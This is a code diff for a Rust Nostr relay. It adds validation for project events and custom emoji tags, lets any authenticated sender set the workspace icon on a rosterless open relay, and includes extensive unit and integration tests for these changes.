+        if description.len() > PROJECT_DESCRIPTION_MAX_LEN {
+            return Err(ProjectRejection::new(
+                "metadata-length",
+                format!(
+                    "project event `description` tag too long ({} bytes, max {PROJECT_DESCRIPTION_MAX_LEN})",
+                    description.len()
+                ),
+            ));
+        }
+    }
+    if let Some(buzz_channel) = buzz_channel {
+        if buzz_channel.len() > PROJECT_METADATA_TAG_MAX_LEN {
+            return Err(ProjectRejection::new(
+                "metadata-length",
+                format!(
+                    "project event `buzz-channel` tag too long ({} bytes, max {PROJECT_METADATA_TAG_MAX_LEN})",
+                    buzz_channel.len()
+                ),
+            ));
+        }
+    }
+    if let Some(buzz_visibility) = buzz_visibility {
+        if buzz_visibility.len() > PROJECT_METADATA_TAG_MAX_LEN {
+            return Err(ProjectRejection::new(
+                "metadata-length",
+                format!(
+                    "project event `buzz-visibility` tag too long ({} bytes, max {PROJECT_METADATA_TAG_MAX_LEN})",
+                    buzz_visibility.len()
+                ),
+            ));
+        }
+    }
+    Ok(())
+}
+
+/// Check that `coordinate` is a canonical repository-announcement address.
+///
+/// Splits on the first two colons only, matching how NIP-09 deletion handling
+/// parses coordinates (`side_effects.rs`), so a repository whose `d` tag
+/// contains a colon stays addressable and a project can never disagree with a
+/// deletion about where the `d` value begins.
+fn parse_project_member_coordinate(coordinate: &str) -> Result<(), ProjectRejection> {
+    let malformed = || {
+        ProjectRejection::new(
+            "member-coordinate-malformed",
+            format!(
+                "project event member `a` tag must be \
+                 `{PROJECT_MEMBER_KIND_SEGMENT}:<lowercase-64-hex-owner>:<repo-d>` (got {coordinate:?})"
+            ),
+        )
+    };
+    let mut segments = coordinate.splitn(3, ':');
+    let (Some(kind), Some(owner), Some(repo_d)) =
+        (segments.next(), segments.next(), segments.next())
+    else {
+        return Err(malformed());
+    };
+    if kind != PROJECT_MEMBER_KIND_SEGMENT {
+        return Err(malformed());
+    }
+    // Lowercase-only: `#a` filter matching is byte-exact, so an uppercase-owner
+    // head would be invisible to the lowercase-coordinate queries readers issue.
+    if owner.len() != 64
+        || !owner
+            .bytes()
+            .all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase())
+    {
+        return Err(malformed());
+    }
+    if repo_d.is_empty() {
+        return Err(malformed());
+    }
+    Ok(())
+}
+
 /// Validate that `content` is a syntactically plausible NIP-44 v2 ciphertext.
 ///
 /// Checks:
@@ -2176,6 +2510,11 @@ async fn ingest_event_inner(
             .map_err(|e| IngestError::Rejected(format!("invalid: {e}")))?;
     }
 
+    if kind_u32 == KIND_PROJECT {
+        validate_project_envelope(&event)
+            .map_err(|e| IngestError::Rejected(format!("invalid: {e}")))?;
+    }
+
     // Track pre-created channel UUID for compensation on insert failure.
     let mut pre_created_channel: Option<Uuid> = None;
 
@@ -2418,6 +2757,10 @@ async fn ingest_event_inner(
         ));
     }
 
+    if kind_u32 == KIND_EMOJI_SET || kind_u32 == KIND_EMOJI_LIST {
+        validate_custom_emoji_tags(&event)?;
+    }
+
     // Resolve the target reference, then use one DB transaction to upsert the
     // reaction row (dedup via ON CONFLICT) with reaction_event_id already set and
     // store the kind:7 event. This replaces the post-storage side-effect handler.
@@ -2456,17 +2799,7 @@ async fn ingest_event_inner(
             &event.content
         };
 
-        // Mirror the SDK's 64-character emoji limit server-side so raw clients
-        // cannot bypass it. Uses chars().count() (not byte len) to match the
-        // SDK's check_emoji_len, which also counts Unicode characters.
-        const MAX_REACTION_EMOJI_CHARS: usize = 64;
-        let emoji_char_count = emoji.chars().count();
-        if emoji_char_count > MAX_REACTION_EMOJI_CHARS {
-            return Err(IngestError::Rejected(format!(
-                "invalid: reaction emoji exceeds {} characters (got {})",
-                MAX_REACTION_EMOJI_CHARS, emoji_char_count
-            )));
-        }
+        validate_reaction_emoji(&event, emoji)?;
 
         // Atomically upsert the reaction row with this kind:7 event id, then store
         // the event in the same transaction. Ordering is load-bearing: active
@@ -2700,6 +3033,84 @@ mod tests {
     };
     use nostr::{EventBuilder, Kind};
 
+    #[test]
+    fn reaction_validation_accepts_wrapped_max_shortcode() {
+        let shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN);
+        let event = EventBuilder::new(Kind::Custom(KIND_REACTION as u16), format!(":{shortcode}:"))
+            .tags([
+                nostr::Tag::parse(["emoji", &shortcode, "https://example.com/max.png"])
+                    .expect("emoji tag"),
+            ])
+            .sign_with_keys(&nostr::Keys::generate())
+            .expect("sign reaction");
+
+        assert!(validate_reaction_emoji(&event, &event.content).is_ok());
+    }
+
+    #[test]
+    fn reaction_validation_rejects_mixed_case_max_shortcode() {
+        let shortcode = "Ab".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN / 2);
+        let event = EventBuilder::new(Kind::Custom(KIND_REACTION as u16), format!(":{shortcode}:"))
+            .tags([
+                nostr::Tag::parse(["emoji", &shortcode, "https://example.com/max.png"])
+                    .expect("emoji tag"),
+            ])
+            .sign_with_keys(&nostr::Keys::generate())
+            .expect("sign reaction");
+
+        assert!(matches!(
+            validate_reaction_emoji(&event, &event.content),
+            Err(IngestError::Rejected(_))
+        ));
+    }
+
+    #[test]
+    fn reaction_validation_rejects_case_mismatched_tag() {
+        let shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN);
+        let uppercase_shortcode = shortcode.to_uppercase();
+        let event = EventBuilder::new(Kind::Custom(KIND_REACTION as u16), format!(":{shortcode}:"))
+            .tags([nostr::Tag::parse([
+                "emoji",
+                &uppercase_shortcode,
+                "https://example.com/max.png",
+            ])
+            .expect("emoji tag")])
+            .sign_with_keys(&nostr::Keys::generate())
+            .expect("sign reaction");
+
+        assert!(matches!(
+            validate_reaction_emoji(&event, &event.content),
+            Err(IngestError::Rejected(_))
+        ));
+    }
+
+    #[test]
+    fn emoji_set_validation_enforces_shortcode_boundary() {
+        let max_shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN);
+        let valid_event = EventBuilder::new(Kind::Custom(KIND_EMOJI_SET as u16), "")
+            .tags([
+                nostr::Tag::parse(["emoji", &max_shortcode, "https://example.com/max.png"])
+                    .expect("emoji tag"),
+            ])
+            .sign_with_keys(&nostr::Keys::generate())
+            .expect("sign valid emoji set");
+        assert!(validate_custom_emoji_tags(&valid_event).is_ok());
+
+        let shortcode = "a".repeat(buzz_sdk::MAX_CUSTOM_EMOJI_SHORTCODE_LEN + 1);
+        let event = EventBuilder::new(Kind::Custom(KIND_EMOJI_SET as u16), "")
+            .tags([
+                nostr::Tag::parse(["emoji", &shortcode, "https://example.com/long.png"])
+                    .expect("emoji tag"),
+            ])
+            .sign_with_keys(&nostr::Keys::generate())
+            .expect("sign emoji set");
+
+        assert!(matches!(
+            validate_custom_emoji_tags(&event),
+            Err(IngestError::Rejected(message)) if message.contains("exceeds 64 bytes")
+        ));
+    }
+
     /// A banned relay admin must be refused with the same wire prefix and
     /// transport status as every other durable-restriction refusal:
     /// `blocked:` and (via `bridge.rs`'s `AuthFailed` arm) HTTP 403 — never
@@ -3153,6 +3564,18 @@ mod tests {
         }
     }
 
+    #[test]
+    fn private_managed_agent_kind_remains_rejected_until_atomic_ingest_exists() {
+        assert!(
+            required_scope_for_kind(
+                buzz_core::kind::KIND_PRIVATE_MANAGED_AGENT,
+                &make_dummy_event(),
+            )
+            .is_err(),
+            "kind 30179 must not enter generic EVENT ingest before privacy and aggregate CAS deploy"
+        );
+    }
+
     #[test]
     fn ephemeral_kinds_not_in_scope_allowlist() {
         assert!(required_scope_for_kind(KIND_PRESENCE_UPDATE, &make_dummy_event()).is_err());
@@ -4173,6 +4596,407 @@ mod tests {
         assert!(!requires_h_channel_scope(KIND_TEAM_CATALOG));
     }
 
+    // ─── project (NIP-MP kind:30621) envelope tests ──────────────────────────
+
+    const OWNER_A: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
+    const OWNER_B: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
+
+    fn make_project(tags: &[&[&str]]) -> Event {
+        make_event_with_tags(KIND_PROJECT, "", tags)
+    }
+
+    fn member_coord(owner: &str, repo_d: &str) -> String {
+        format!("30617:{owner}:{repo_d}")
+    }
+
+    #[test]
+    fn project_envelope_accepts_minimal() {
+        let ev = make_project(&[&["d", "platform"]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_envelope_accepts_full_cross_owner_membership() {
+        // The motivating case: one project spanning two owners' repositories.
+        let a = member_coord(OWNER_A, "buzz");
+        let b = member_coord(OWNER_B, "buzz-infra");
+        let ev = make_project(&[
+            &["d", "platform"],
+            &["name", "Platform"],
+            &["description", "Relay, desktop, and mobile."],
+            &["a", &a],
+            &["a", &b],
+            &["buzz-channel", "3580ca9b-47b4-4af9-b22a-1068778f26c6"],
+            &["buzz-visibility", "listed"],
+        ]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_envelope_accepts_zero_members() {
+        // Legal at the protocol layer: the natural state after removing a final
+        // member. The create UI requires >= 1; the relay must not.
+        let ev = make_project(&[&["d", "empty"], &["name", "Empty"]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_envelope_accepts_same_repo_d_under_two_owners() {
+        // The NIP-34 fork case. Identity is the whole coordinate, so these are
+        // two distinct members, not a duplicate.
+        let a = member_coord(OWNER_A, "buzz");
+        let b = member_coord(OWNER_B, "buzz");
+        let ev = make_project(&[&["d", "forks"], &["a", &a], &["a", &b]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_envelope_accepts_member_repo_d_containing_colon() {
+        // Coordinates split on the first two colons only, matching NIP-09
+        // deletion parsing, so a colon-bearing repository `d` stays addressable.
+        let coord = member_coord(OWNER_A, "group:repo");
+        let ev = make_project(&[&["d", "external"], &["a", &coord]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_envelope_accepts_member_cap_boundary() {
+        let coords: Vec<String> = (0..PROJECT_MEMBER_CAP)
+            .map(|i| member_coord(OWNER_A, &format!("repo-{i}")))
+            .collect();
+        let mut tags: Vec<Vec<&str>> = vec![vec!["d", "wide"]];
+        tags.extend(coords.iter().map(|c| vec!["a", c.as_str()]));
+        let tag_refs: Vec<&[&str]> = tags.iter().map(|t| t.as_slice()).collect();
+        let ev = make_project(&tag_refs);
+        assert!(
+            validate_project_envelope(&ev).is_ok(),
+            "exactly {PROJECT_MEMBER_CAP} members must be accepted"
+        );
+    }
+
+    #[test]
+    fn project_envelope_ignores_unknown_tags() {
+        // Forward compatibility: a newer writer's extra metadata must not
+        // invalidate the event for this relay.
+        let ev = make_project(&[&["d", "platform"], &["future-field", "whatever"]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_envelope_rejects_missing_d_tag() {
+        let ev = make_project(&[&["name", "No Identity"]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("exactly one `d` tag"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_multiple_d_tags() {
+        let ev = make_project(&[&["d", "one"], &["d", "two"]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("exactly one `d` tag"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_empty_d_tag() {
+        // An empty `d` collapses every such project into the (pubkey, 30621, "")
+        // slot, where unrelated projects silently overwrite each other.
+        let ev = make_project(&[&["d", ""]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(err.to_string().contains("must not be empty"), "got: {err}");
+    }
+
+    #[test]
+    fn project_envelope_rejects_valueless_d_tag() {
+        // `["d"]` with no value is treated as empty, not as absent.
+        let ev = make_project(&[&["d"]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(err.to_string().contains("must not be empty"), "got: {err}");
+    }
+
+    #[test]
+    fn project_envelope_rejects_duplicate_member_coordinate() {
+        let coord = member_coord(OWNER_A, "buzz");
+        let ev = make_project(&[&["d", "platform"], &["a", &coord], &["a", &coord]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("duplicate member coordinate"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_member_cap_exceeded() {
+        let coords: Vec<String> = (0..=PROJECT_MEMBER_CAP)
+            .map(|i| member_coord(OWNER_A, &format!("repo-{i}")))
+            .collect();
+        let mut tags: Vec<Vec<&str>> = vec![vec!["d", "wide"]];
+        tags.extend(coords.iter().map(|c| vec!["a", c.as_str()]));
+        let tag_refs: Vec<&[&str]> = tags.iter().map(|t| t.as_slice()).collect();
+        let ev = make_project(&tag_refs);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(err.to_string().contains("at most 64 member"), "got: {err}");
+    }
+
+    #[test]
+    fn project_envelope_rejects_duplicate_heavy_list_on_cap_not_duplicate() {
+        // The cap counts raw `a` tags, so a duplicate-heavy list is refused on
+        // count — parse volume is never bounded only by the frame limit.
+        let coord = member_coord(OWNER_A, "buzz");
+        let mut tags: Vec<Vec<&str>> = vec![vec!["d", "wide"]];
+        for _ in 0..=PROJECT_MEMBER_CAP {
+            tags.push(vec!["a", coord.as_str()]);
+        }
+        let tag_refs: Vec<&[&str]> = tags.iter().map(|t| t.as_slice()).collect();
+        let ev = make_project(&tag_refs);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("at most 64 member"),
+            "cap must be evaluated before the duplicate set is built, got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_member_wrong_kind_prefix() {
+        // kind:30618 is repository *state*; a project groups announcements.
+        let coord = format!("30618:{OWNER_A}:buzz");
+        let ev = make_project(&[&["d", "platform"], &["a", &coord]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("member `a` tag must be"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_member_owner_not_hex() {
+        let coord = member_coord(&"z".repeat(64), "buzz");
+        let ev = make_project(&[&["d", "platform"], &["a", &coord]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("member `a` tag must be"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_member_owner_uppercase_hex() {
+        // `#a` filter matching is byte-exact: an uppercase-owner head would be
+        // invisible to the lowercase-coordinate queries every reader issues.
+        let coord = member_coord(&"A".repeat(64), "buzz");
+        let ev = make_project(&[&["d", "platform"], &["a", &coord]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("member `a` tag must be"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_member_owner_wrong_length() {
+        let coord = member_coord(&"a".repeat(63), "buzz");
+        let ev = make_project(&[&["d", "platform"], &["a", &coord]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("member `a` tag must be"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_member_empty_repo_d() {
+        let coord = member_coord(OWNER_A, "");
+        let ev = make_project(&[&["d", "platform"], &["a", &coord]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("member `a` tag must be"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_member_missing_segment() {
+        let coord = format!("30617:{OWNER_A}");
+        let ev = make_project(&[&["d", "platform"], &["a", &coord]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("member `a` tag must be"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_valueless_member_tag() {
+        // A one-element `a` tag names no coordinate — caught by the arity check
+        // (rule 4) before the coordinate parse (rule 5) even runs.
+        let ev = make_project(&[&["d", "platform"], &["a"]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("exactly 2 or 3 elements"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_rejects_duplicate_metadata_tags() {
+        // Every singleton metadata tag is bounded: a duplicate would make the
+        // effective value reader-dependent.
+        for tag_name in PROJECT_SINGLETON_METADATA_TAGS {
+            let ev = make_project(&[&["d", "platform"], &[tag_name, "x"], &[tag_name, "y"]]);
+            let err = validate_project_envelope(&ev).unwrap_err();
+            assert!(
+                err.to_string()
+                    .contains(&format!("at most one `{tag_name}` tag")),
+                "duplicate `{tag_name}` must be rejected, got: {err}"
+            );
+        }
+    }
+
+    #[test]
+    fn project_envelope_rejects_name_too_long() {
+        let name = "x".repeat(PROJECT_NAME_MAX_LEN + 1);
+        let ev = make_project(&[&["d", "platform"], &["name", &name]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("`name` tag too long"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_accepts_name_at_max_length() {
+        let name = "x".repeat(PROJECT_NAME_MAX_LEN);
+        let ev = make_project(&[&["d", "platform"], &["name", &name]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_envelope_rejects_description_too_long() {
+        let description = "x".repeat(PROJECT_DESCRIPTION_MAX_LEN + 1);
+        let ev = make_project(&[&["d", "platform"], &["description", &description]]);
+        let err = validate_project_envelope(&ev).unwrap_err();
+        assert!(
+            err.to_string().contains("`description` tag too long"),
+            "got: {err}"
+        );
+    }
+
+    #[test]
+    fn project_envelope_accepts_description_at_max_length() {
+        let description = "x".repeat(PROJECT_DESCRIPTION_MAX_LEN);
+        let ev = make_project(&[&["d", "platform"], &["description", &description]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    /// Membership is an assertion, not a permission grant: the relay must accept
+    /// a project naming a repository the signer does not own. Cross-owner
+    /// grouping is the entire point of the kind, and it is safe precisely because
+    /// membership confers nothing.
+    #[test]
+    fn project_envelope_accepts_member_owned_by_another_pubkey() {
+        let stranger = member_coord(OWNER_B, "not-mine");
+        let ev = make_project(&[&["d", "collection"], &["a", &stranger]]);
+        assert!(validate_project_envelope(&ev).is_ok());
+    }
+
+    #[test]
+    fn project_is_in_scope_allowlist() {
+        let dummy = make_dummy_event();
+        assert_eq!(
+            required_scope_for_kind(KIND_PROJECT, &dummy).unwrap(),
+            Scope::ReposWrite,
+            "a project is repository metadata — same scope as announcing a repo"
+        );
+    }
+
+    #[test]
+    fn project_is_global_only() {
+        // `buzz-channel` is a metadata reference, not a routing directive.
+        assert!(is_global_only_kind(KIND_PROJECT));
+        assert!(!requires_h_channel_scope(KIND_PROJECT));
+    }
+
+    #[test]
+    fn project_is_parameterized_replaceable() {
+        // Owner-only editing comes free from NIP-33 addressing: replacement is
+        // keyed by (pubkey, kind, d), so one signer can never overwrite another's
+        // project. No relay-side permission check exists or is needed.
+        assert!(is_parameterized_replaceable(KIND_PROJECT));
+    }
+
+    /// Drive every case in the shared NIP-MP fixture file against
+    /// `validate_project_envelope`. All 11 accept cases must pass; all 20
+    /// reject cases must return an error whose rule is in the case's allowed
+    /// `reject_rules` set — an implementation cannot pass by rejecting for an
+    /// unrelated reason. This is the machine-readable oracle the spec promises.
+    #[test]
+    fn project_envelope_validates_all_shared_fixtures() {
+        #[derive(serde::Deserialize)]
+        struct FixtureFile {
+            cases: Vec<Case>,
+        }
+        #[derive(serde::Deserialize)]
+        struct Case {
+            name: String,
+            expect: String,
+            #[serde(default)]
+            reject_rules: Vec<String>,
+            template: Template,
+        }
+        #[derive(serde::Deserialize)]
+        struct Template {
+            content: String,
+            tags: Vec<Vec<String>>,
+        }
+
+        let raw = include_str!("../../../../docs/nips/NIP-MP.fixtures.json");
+        let file: FixtureFile = serde_json::from_str(raw).expect("fixture file must parse");
+
+        for case in &file.cases {
+            let tag_strs: Vec<Vec<&str>> = case
+                .template
+                .tags
+                .iter()
+                .map(|t| t.iter().map(|s| s.as_str()).collect())
+                .collect();
+            let tag_refs: Vec<&[&str]> = tag_strs.iter().map(|t| t.as_slice()).collect();
+            let ev = make_event_with_tags(KIND_PROJECT, &case.template.content, &tag_refs);
+            let result = validate_project_envelope(&ev);
+            match case.expect.as_str() {
+                "accept" => assert!(
+                    result.is_ok(),
+                    "fixture {:?} expected accept, got err: {:?}",
+                    case.name,
+                    result.unwrap_err()
+                ),
+                "reject" => {
+                    let rejection = match result {
+                        Err(r) => r,
+                        Ok(()) => {
+                            panic!("fixture {:?} expected reject, but was accepted", case.name)
+                        }
+                    };
+                    assert!(
+                        case.reject_rules.iter().any(|r| r == rejection.rule),
+                        "fixture {:?} fired rule {:?}, which is not in allowed set {:?}",
+                        case.name,
+                        rejection.rule,
+                        case.reject_rules,
+                    );
+                }
+                other => panic!(
+                    "unknown expect value {:?} in fixture {:?}",
+                    other, case.name
+                ),
+            }
+        }
+    }
+
     // ─── agent_turn_metric envelope tests ────────────────────────────────────
 
     /// Build an event for kind:44200 with the given tags and content.
diff --git a/crates/buzz-relay/src/handlers/relay_admin.rs b/crates/buzz-relay/src/handlers/relay_admin.rs
index 3f58a9c2aa..3782f2c516 100644
--- a/crates/buzz-relay/src/handlers/relay_admin.rs
+++ b/crates/buzz-relay/src/handlers/relay_admin.rs
@@ -10,7 +10,7 @@
 //! | 9030 | Add member      | admin or owner       |
 //! | 9031 | Remove member   | admin or owner       |
 //! | 9032 | Change role     | owner only           |
-//! | 9033 | Set workspace profile (icon) | admin or owner |
+//! | 9033 | Set workspace profile (icon) | admin or owner; on an open relay whose community has no admin/owner row at all, any authenticated sender (see [`may_set_workspace_profile`]) |
 
 use std::sync::Arc;
 
@@ -94,6 +94,35 @@ fn validate_workspace_icon(icon: &str) -> Result<(), String> {
     Ok(())
 }
 
+/// Whether `sender_role` may set the workspace profile (kind:9033).
+///
+/// Closed relays (`membership_enforced == true`) require an `admin`/`owner`
+/// row in `relay_members` — the enforced roster is the authority. Open relays
+/// don't *enforce* the roster, but the data can still exist: startup
+/// bootstraps `RELAY_OWNER_PUBKEY` as `owner` regardless of the flag
+/// (`main.rs`), as does operator provisioning. So the rule is steward-wins:
+///
+/// - a steward (any admin/owner row) exists → admin/owner only, exactly like
+///   a closed relay. An open relay with a configured owner keeps its icon
+///   owner-controlled instead of last-write-wins for every authenticated key.
+/// - genuinely rosterless (e.g. a community created by
+///   `ensure_configured_community`, which writes no owner row) → any
+///   NIP-42-authenticated sender may set the icon, mirroring how open relays
+///   gate every other write. Without this the icon is permanently unsettable:
+///   the desktop deliberately shows the icon editor on open relays (see
+///   `canEditIcon` in `EditCommunityDialog.tsx`, #2640) and defers to this
+///   relay-side check, which used to always say no.
+fn may_set_workspace_profile(
+    sender_role: &str,
+    membership_enforced: bool,
+    community_has_steward: bool,
+) -> bool {
+    if !membership_enforced && !community_has_steward {
+        return true;
+    }
+    sender_role == "admin" || sender_role == "owner"
+}
+
 /// A relay-admin command failure, carrying the *category* of the failure so
 /// the ingest seam can map it to the right NIP-01 prefix and HTTP status.
 ///
@@ -230,9 +259,33 @@ async fn execute_relay_admin_command(
     // kind:9033 — Set workspace profile (icon). Handled before p-tag
     // extraction: it targets the relay itself, not a member pubkey.
     if kind == RELAY_ADMIN_SET_WORKSPACE_PROFILE {
-        if sender_role != "admin" && sender_role != "owner" {
+        // Steward detection only matters on open relays (closed relays gate on
+        // the sender's own role either way), so skip the extra query there.
+        let community_has_steward = if state.config.require_relay_membership {
+            true
+        } else {
+            state
+                .db
+                .has_admin_or_owner(tenant.community())
+                .await
+                .map_err(|e| format!("database error: {e}"))?
+        };
+        if !may_set_workspace_profile(
+            sender_role,
+            state.config.require_relay_membership,
+            community_has_steward,
+        ) {
             return Err("actor not authorized: must be admin or owner".to_string());
         }
+        if sender_role != "admin" && sender_role != "owner" {
+            // Rosterless-open-relay admit: 9033 writes no audit row and
+            // publishes no announcement event (unlike 9030/9031), so this warn
+            // is the only durable attribution of who changed the icon.
+            warn!(
+                sender = %sender_hex,
+                "workspace profile change admitted without a roster role (open relay, no steward)"
+            );
+        }
 
         // Empty or missing icon tag clears the workspace icon.
         let icon = extract_tag_value(event, "icon").unwrap_or_default();
@@ -562,6 +615,46 @@ mod tests {
         assert!(validate_workspace_icon("").is_ok());
     }
 
+    /// Closed relay (membership enforced): only an admin/owner row in
+    /// `relay_members` may set the workspace profile — a plain member, or a
+    /// pubkey with no row at all (empty role), must be refused. The steward
+    /// flag is irrelevant when membership is enforced (call sites pass `true`,
+    /// but the rule must not depend on it).
+    #[test]
+    fn closed_relay_requires_admin_or_owner_for_workspace_profile() {
+        for steward in [true, false] {
+            assert!(may_set_workspace_profile("owner", true, steward));
+            assert!(may_set_workspace_profile("admin", true, steward));
+            assert!(!may_set_workspace_profile("member", true, steward));
+            assert!(!may_set_workspace_profile("", true, steward));
+        }
+    }
+
+    /// Open relay with a steward: startup bootstraps `RELAY_OWNER_PUBKEY` as
+    /// `owner` regardless of `require_relay_membership`, so an open relay's
+    /// community can hold admin/owner rows. When one exists, the icon stays
+    /// steward-only — the fix must not widen an owner-controlled icon to
+    /// every authenticated key.
+    #[test]
+    fn open_relay_with_steward_keeps_workspace_profile_steward_only() {
+        assert!(may_set_workspace_profile("owner", false, true));
+        assert!(may_set_workspace_profile("admin", false, true));
+        assert!(!may_set_workspace_profile("member", false, true));
+        assert!(!may_set_workspace_profile("", false, true));
+    }
+
+    /// Open relay, genuinely rosterless (no admin/owner row anywhere): any
+    /// authenticated sender may set the icon — including the roleless (empty
+    /// role) case, which is *every* sender there. This is the bug being
+    /// fixed: the desktop shows the icon editor on open relays (#2640) but
+    /// the relay refused every 9033.
+    #[test]
+    fn rosterless_open_relay_admits_any_authenticated_sender_for_workspace_profile() {
+        assert!(may_set_workspace_profile("", false, false));
+        assert!(may_set_workspace_profile("member", false, false));
+        assert!(may_set_workspace_profile("owner", false, false));
+    }
+
     #[test]
     fn workspace_icon_https_ok() {
         assert!(validate_workspace_icon("https://example.com/icon.png").is_ok());
@@ -591,4 +684,216 @@ mod tests {
         let long_data = format!("data:image/png;base64,{}", "A".repeat(98_304));
         assert!(validate_workspace_icon(&long_data).is_err());
     }
+
+    // ─── Call-site integration: the 9033 gate wired to real config + DB ────
+    //
+    // The unit tests above pin `may_set_workspace_profile`'s truth table, but
+    // not its wiring: mutation-testing showed that inverting
+    // `state.config.require_relay_membership` at the call site — an exact
+    // inversion of the security contract — survives the default suite. These
+    // tests drive `handle_relay_admin_event` with a real `AppState` against
+    // Postgres, on both relay modes, so the wiring itself is pinned. Selected
+    // explicitly in CI's Backend Integration job; requires local Postgres
+    // (and hard-fails rather than skipping when it is unreachable).
+
+    const TEST_DB_URL: &str = "postgres://buzz:buzz_dev@localhost:5432/buzz"; // sadscan:disable np.postgres.1
+
+    /// Build a real `AppState` + tenant for a fresh community on `host`, with
+    /// `require_relay_membership` set as given. Mirrors
+    /// `api::invites::tests::invite_test_state`.
+    async fn workspace_profile_test_state(
+        host: &str,
+        require_relay_membership: bool,
+    ) -> (Arc<AppState>, TenantContext) {
+        let mut config = crate::config::Config::from_env().expect("config from env");
+        let database_url = std::env::var("BUZZ_TEST_DATABASE_URL")
+            .or_else(|_| std::env::var("DATABASE_URL"))
+            .unwrap_or_else(|_| TEST_DB_URL.to_string());
+        config.database_url = database_url.clone();
+        config.redis_url = "redis://127.0.0.1:1".to_string();
+        config.relay_url = format!("wss://{host}");
+        config.require_relay_membership = require_relay_membership;
+
+        let pool = sqlx::PgPool::connect(&database_url)
+            .await
+            .expect("requires reachable Postgres");
+        let db = buzz_db::Db::from_pool(pool.clone());
+        let record = db
+            .ensure_configured_community(host)
+            .await
+            .expect("ensure community");
+        let tenant = TenantContext::resolved(record.id, host);
+
+        let redis_pool = deadpool_redis::Config::from_url(&config.redis_url)
+            .create_pool(Some(deadpool_redis::Runtime::Tokio1))
+            .expect("redis pool config");
+        let pubsub = Arc::new(
+            buzz_pubsub::PubSubManager::new(&config.redis_url, redis_pool.clone())
+                .await
+                .expect("pubsub manager"),
+        );
+        let audit = buzz_audit::AuditService::new(pool.clone());
+        let auth = buzz_auth::AuthService::new(config.auth.clone());
+        let search = buzz_search::SearchService::new(pool.clone());
+        let workflow_engine = Arc::new(buzz_workflow::WorkflowEngine::new(
+            db.clone(),
+            buzz_workflow::WorkflowConfig::default(),
+        ));
+        let media_storage = buzz_media::MediaStorage::new(&config.media).expect("media storage");
+        let (state, _audit_shutdown) = AppState::new(
+            config,
+            db,
+            redis_pool,
+            audit,
+            pubsub,
+            auth,
+            search,
+            workflow_engine,
+            Keys::generate(),
+            media_storage,
+        );
+        (Arc::new(state), tenant)
+    }
+
+    /// Sign a fresh kind:9033 with `icon` and run it through the real
+    /// admission + command path.
+    async fn submit_9033(
+        state: &Arc<AppState>,
+        tenant: &TenantContext,
+        keys: &Keys,
+        icon: &str,
+    ) -> Result<(), RelayAdminError> {
+        let event = EventBuilder::new(Kind::Custom(9033), "")
+            .tags(vec![Tag::parse(["icon", icon]).expect("icon tag")])
+            .sign_with_keys(keys)
+            .expect("sign 9033");
+        handle_relay_admin_event(tenant, state, &event).await
+    }
+
+    async fn stored_icon(state: &Arc<AppState>, tenant: &TenantContext) -> Option<String> {
+        state
+            .db
+            .get_community_icon(tenant.community())
+            .await
+            .expect("read icon")
+    }
+
+    /// Open relay (`require_relay_membership = false`): a rosterless
+    /// community admits any authenticated sender, but the moment a steward
